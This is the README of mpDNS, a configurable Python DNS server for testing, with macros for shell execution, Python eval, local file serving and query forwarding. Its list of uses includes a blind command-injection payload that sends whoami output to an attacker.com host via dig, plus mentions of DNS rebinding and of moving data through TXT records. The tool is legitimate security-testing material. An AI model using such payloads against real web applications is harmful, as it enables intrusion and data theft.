mpDNS - Multi-Purpose DNS Server


Simple, configurable "clone & run" DNS Server with multiple useful features
  • Should work on Python 2 and 3
  • names.db -> holds all custom records (see examples)
  • Simple wildcards like *.example.com
  • Catch unicode dns requests
  • Custom actions aka macro:
    • {{shellexec::dig google.com +short}} -> Execute shell command and respond with result
    • {{eval::res = '1.1.1.%d' % random.randint(0,256)}} -> Evaluate your python code
    • {{file::/etc/passwd}} -> Respond with localfile contents
    • {{resolve}} -> Forward DNS request to local system DNS
    • {{resolve::example.com}} -> Resolve example.com instead of original record
    • {{echo}} -> Response back with peer address
    • {{shellexec::echo %PEER% %QUERY%}} -> Use of variables
  • Supported query types: A, CNAME, TXT
  • Update names.db records without restart/reload with ./mpdns.py -e
Heavily based on https://github.com/circuits/circuits/blob/master/examples/dnsserver.py
Usage: ./mpdns.py
  • Edit names.db with ./mpdns.py -e no restart required

Offensive and Defensive purposes:
  1. You need a light-weight simple dns-server solution for testing purposes (NOT PRODUCTION!)
  2. Test for various blind injection vulnerabilities in web applications (ex. /ping.php?ip=$(dig $(whoami).attacker.com))
  3. Easily infiltrate 65K of data in one TXT query
  4. DNS Rebinding
  5. Execute custom macro action on specific query (useful in malware-analysis lab environments)
  6. And lots more. It is highly customizable.

Installing
git clone https://github.com/nopernik/mpDNS

Limitations
  1. Due to UDP Datagram limit of 65535 bytes, DNS response is limited to approx ~65200 bytes
    this limitation applies to TXT records which are splitted into chunks of 256 bytes until response reaches maximum allowed 65200b
    therefore TXT record with macro {{file:localfile.txt}} is limited to 65200 bytes.
  2. No support for nested wildcards test.*.example.com
  3. No support for custom DNS server resolver in {{resolve::example.com}} macro
  4. TTL always set to 0

Examples
names.db example:
# Empty configuration will result in empty but valid responses
#
# Unicode domain names are not supported but still can be catched by the server.
# for example мама-сервер-unicode.google.com will be catched but with SERVFAIL response

passwd.example.com TXT     {{file::/etc/passwd}}  #comments are ignored
shellexec   TXT     {{shellexec::whoami}}
eval    TXT     {{eval::import random; res = random.randint(1,500)}}
resolve1   A       {{resolve}}
resolve2   A       {{resolve::self}}      #same as previous
resolve3   A       {{resolve::example.com}}
blabla.com   A       5.5.5.5

*     A       127.0.0.1
*.example.com  A  7.7.7.7
c1.example.com  CNAME c2.example.com
c2.example.com  CNAME c3.example.com
c3.example.com  CNAME google.example.com
google.example.com CNAME google.com
test.example.com A  8.8.8.8
google.com   A  {{resolve::self}}notgoogle.com  A  {{resolve::google.com}}

Example output with names.db example:
Regular resolution from DB: dig test.example.com @localhost
;; ANSWER SECTION:
test.example.com. 0 IN A 8.8.8.8
mpDNS output: - Request from 127.0.0.1:57698 -> test.example.com. -> 8.8.8.8 (A)

Recursive CNAME resolution: dig c1.example.com @localhost
;; QUESTION SECTION:
;c1.example.com.   IN A

;; ANSWER SECTION:
c1.example.com.  0 IN CNAME c2.example.com.
c2.example.com.  0 IN CNAME c3.example.com.
c3.example.com.  0 IN CNAME google.example.com.
google.example.com. 0 IN CNAME google.com.
google.com.  0 IN A 216.58.206.14
mpDNS output:
- Request from 127.0.0.1:44120      -> c1.example.com.  -> c2.example.com (CNAME)
- Request from 127.0.0.1:44120      -> c2.example.com  -> c3.example.com (CNAME)
- Request from 127.0.0.1:44120      -> c3.example.com  -> google.example.com (CNAME)
- Request from 127.0.0.1:44120      -> google.example.com -> google.com (CNAME)
- Request from 127.0.0.1:44120      -> google.com   -> {{resolve::self}} (A)

Wildcard resolution: dig not-in-db.com @localhost
;; ANSWER SECTION:
not-in-db.com.  0 IN A 127.0.0.1
mpDNS output: - Request from 127.0.0.1:38528 -> not-in-db.com. -> 127.0.0.1 (A)

Wildcard subdomain resolution: dig wildcard.example.com @localhost
;; ANSWER SECTION:
wildcard.example.com. 0 IN A 7.7.7.7
mpDNS output: - Request from 127.0.0.1:39691 -> wildcard.example.com. -> 7.7.7.7 (A)

Forward request macro: dig google.com @localhost
;; ANSWER SECTION:
google.com.  0 IN A 172.217.22.110
mpDNS output: - Request from 127.0.0.1:53487 -> google.com. -> {{resolve::self}} (A)

Forward request of custom domain macro: dig notgoogle.com @localhost
;; ANSWER SECTION:
notgoogle.com.  0 IN A 172.217.22.110
mpDNS output: - Request from 127.0.0.1:47797 -> notgoogle.com. -> {{resolve::google.com}} (A)

File contents macro via TXT query: dig txt passwd.example.com @localhost
;; ANSWER SECTION:
passwd.example.com. 0 IN TXT "root:x:0:0:root:/root:/bin/bash\010daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\010bin:x:2:2:bin:......stripped"
mpDNS output: - Request from 127.0.0.1:38805 -> passwd.example.com. -> ['root:x:0:0:root...(2808)'] (TXT)

Custom python code macro via TXT query: dig txt eval @localhost
;; ANSWER SECTION:
eval.   0 IN TXT "320"
mpDNS output: - Request from 127.0.0.1:33821 -> eval. -> ['320'] (TXT)

Shell command macro via TXT query: dig txt shellexec @localhost
;; ANSWER SECTION:
shellexec.  0 IN TXT "root"
mpDNS output: - Request from 127.0.0.1:50262 -> shellexec. -> ['root'] (TXT)
